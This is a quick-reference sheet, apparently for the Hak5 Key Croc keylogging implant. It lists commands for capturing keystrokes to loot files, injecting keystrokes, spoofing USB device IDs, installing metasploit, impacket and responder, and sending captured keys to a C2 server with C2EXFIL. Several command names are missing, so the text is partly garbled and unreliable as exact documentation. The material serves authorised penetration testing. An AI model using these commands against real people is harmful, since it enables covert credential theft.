Command Quick Reference
MATCH <string or regular expression>
Will trigger payload execution when specified pattern is typed.
SAVEKEYS </path/to/file> <NEXT | LAST> <number of keystrokes 1-255>
SAVEKEYS /root/loot/test.log NEXT 6
Will save the specified number of keys to a file – either before (LAST) or after (NEXT) the payload MATCH.
QUACK <keystrokes to inject>
QUACK STRING hello world
Will inject keystrokes from the specified file. Ducky Script commands in the specified file should not be prepended with Q or QUACK.
ATTACKMODE <modes> <options>
ATTACKMODE HID ECM_ETHERNET VID_0X05AC PID_0X021E MAN_Hak5 SN_1337
Will return a set of useful variables which may be referenced in the payload
$VID– Vendor ID cloned from attached keyboard or specified in config.txt
$PID– Product ID cloned from attached keyboard or specified in config.txt
$MAN– Manufacturer specified in config.txt
$SN– Serial number specified in config.txt
$PROD– Product string specified in config.txt
$HOST_IP– IP address of Key Croc after executing an Ethernet
$TARGET_IP– IP address of target after executing an Ethernet
$TARGET_HOSTNAME– Host name of the target after executing an Ethernet
Will refresh the Key Croc framework with payload files from /root/udisk/payloads/
Will check the syntax of the payloads currently residing in /root/udisk/payloads/
Will parse each line entered, enabling interactive payload development with helpers.
Will enable the specified payload. After enabling a payload, issue RELOAD_PAYLOADS for the change to take effect.
After disabling a payload, issue
RELOAD_PAYLOADSfor the change to take effect.
Will install additional third party software such as metasploit, impacket and responder to the
MISSINGdepending on whether a keyboard is attached.
udisk [ mount | unmount | remount | reformat ]
WAIT_FOR_KEYBOARD_ACTIVITY <refresh interval in seconds>
Will check for keyboard activity for each specified time interval, halting further payload execution until keyboard activity is detected. Example wait until there is keyboard activity within a 1 second window.
WAIT_FOR_KEYBOARD_INACTIVITY <seconds of inactivity required>
Will check for keyboard inactivity, halting further payload execution until the specified time has elapsed with no keyboard activity. Example will wait until there have been no keypresses for 5 minutes (300 seconds)
WAIT_FOR_LOOT </path/to/file> (optional)<refresh interval in seconds>
WAIT_FOR_LOOT /root/loot/captured_keys.txt 5
Will wait for the specified file to exist, or if already existing for the file line count to increase, halting further payload execution. Can be used in conjunction with
SAVEKEYS NEXT,which will write the loot file when the number of specified keys have been typed. Example will wait until the
captured_keys.txtfile exists, checking every 5 seconds.
C2NOTIFY <INFO|WARN|ERROR> <MESSAGE>
C2NOTIFY INFO 'The cake is a lie'
C2EXFIL (optional)STRING (required)<PATH> (optional)<SOURCE>
C2EXFIL STRING /root/loot/captured_keys.txt My_Payload